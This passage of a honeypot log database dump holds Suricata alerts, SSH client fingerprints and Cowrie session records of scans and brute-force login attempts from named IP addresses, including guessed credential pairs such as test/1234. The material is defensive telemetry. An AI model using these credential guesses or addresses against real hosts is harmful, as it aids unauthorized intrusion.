"2021-09-20T11:17:30.721Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
28382	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:17:30.335877+03	2021-09-20 14:30:02.758553+03	{"_id": "YQbsAnwBvYTbRNuE4i6p", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:17:29.581384+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1348688144883464, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 58446, "dest_port": 3389, "timestamp": "2021-09-20T11:17:30.335877Z", "@timestamp": "2021-09-20T11:17:30.335Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28393	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:17:21.71386+03	2021-09-20 14:30:02.773523+03	{"_id": "IgbsAnwBvYTbRNuEvS60", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "10be4db3b3f4", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:17:21.713860Z", "@timestamp": "2021-09-20T11:17:21.713Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28383	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:17:30.725166+03	2021-09-20 14:30:02.759554+03	{"_id": "YwbsAnwBvYTbRNuE4y7t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 60828, "dest_port": 22, "timestamp": "2021-09-20T11:17:30.725166", "@timestamp": "2021-09-20T11:17:30.725Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28384	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:17:30.997531+03	2021-09-20 14:30:02.761555+03	{"_id": "ZAbsAnwBvYTbRNuE5C7L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:58722 (192.168.176.2:22) [session: 7eaf013a0b85]", "session": "7eaf013a0b85", "@version": "1", "protocol": "ssh", "src_port": 58722, "dest_port": 22, "timestamp": "2021-09-20T11:17:30.997531Z", "@timestamp": "2021-09-20T11:17:30.997Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
28385	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:17:30.335877+03	2021-09-20 14:30:02.762557+03	{"_id": "XgbsAnwBvYTbRNuE4i6o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:17:29.581384+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1348688144883464, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 58446, "dest_port": 3389, "timestamp": "2021-09-20T11:17:30.335877Z", "@timestamp": "2021-09-20T11:17:30.335Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28386	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:17:31.273711+03	2021-09-20 14:30:02.763553+03	{"_id": "YgbsAnwBvYTbRNuE4y7t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58722, "timestamp": "2021-09-20T11:17:31.273711", "@timestamp": "2021-09-20T11:17:31.273Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28408	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:17:28.506499+03	2021-09-20 14:30:02.792553+03	{"_id": "QQbsAnwBvYTbRNuE2S4R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 6 seconds", "session": "10be4db3b3f4", "@version": "1", "duration": 6.960540056228638, "timestamp": "2021-09-20T11:17:28.506499Z", "@timestamp": "2021-09-20T11:17:28.506Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28387	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:17:31.661613+03	2021-09-20 14:30:02.764553+03	{"_id": "ZQbsAnwBvYTbRNuE5C7L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7eaf013a0b85", "@version": "1", "timestamp": "2021-09-20T11:17:31.661613Z", "@timestamp": "2021-09-20T11:17:31.661Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
28388	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:17:31.660986+03	2021-09-20 14:30:02.766525+03	{"_id": "aQbsAnwBvYTbRNuE5y7V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 58722, "dest_port": 22, "timestamp": "2021-09-20T11:17:31.660986", "@timestamp": "2021-09-20T11:17:31.660Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28389	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:17:32.275808+03	2021-09-20 14:30:02.768523+03	{"_id": "agbsAnwBvYTbRNuE6C6z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [test/1234] failed", "session": "4f20e49f9096", "@version": "1", "password": "1234", "username": "test", "timestamp": "2021-09-20T11:17:32.275808Z", "@timestamp": "2021-09-20T11:17:32.275Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
28390	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:17:33.00345+03	2021-09-20 14:30:02.769524+03	{"_id": "awbsAnwBvYTbRNuE7C6c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [support/supp] failed", "session": "bab90381a08c", "@version": "1", "password": "supp", "username": "support", "timestamp": "2021-09-20T11:17:33.003450Z", "@timestamp": "2021-09-20T11:17:33.003Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
28391	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:17:21.267461+03	2021-09-20 14:30:02.770524+03	{"_id": "GgbsAnwBvYTbRNuEuy6R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:17:21.267461+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 354974445933765, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 56262, "dest_port": 22, "timestamp": "2021-09-20T11:17:21.267461Z", "@timestamp": "2021-09-20T11:17:21.267Z", "event_type": "alert", "t-pot_ip_ext": 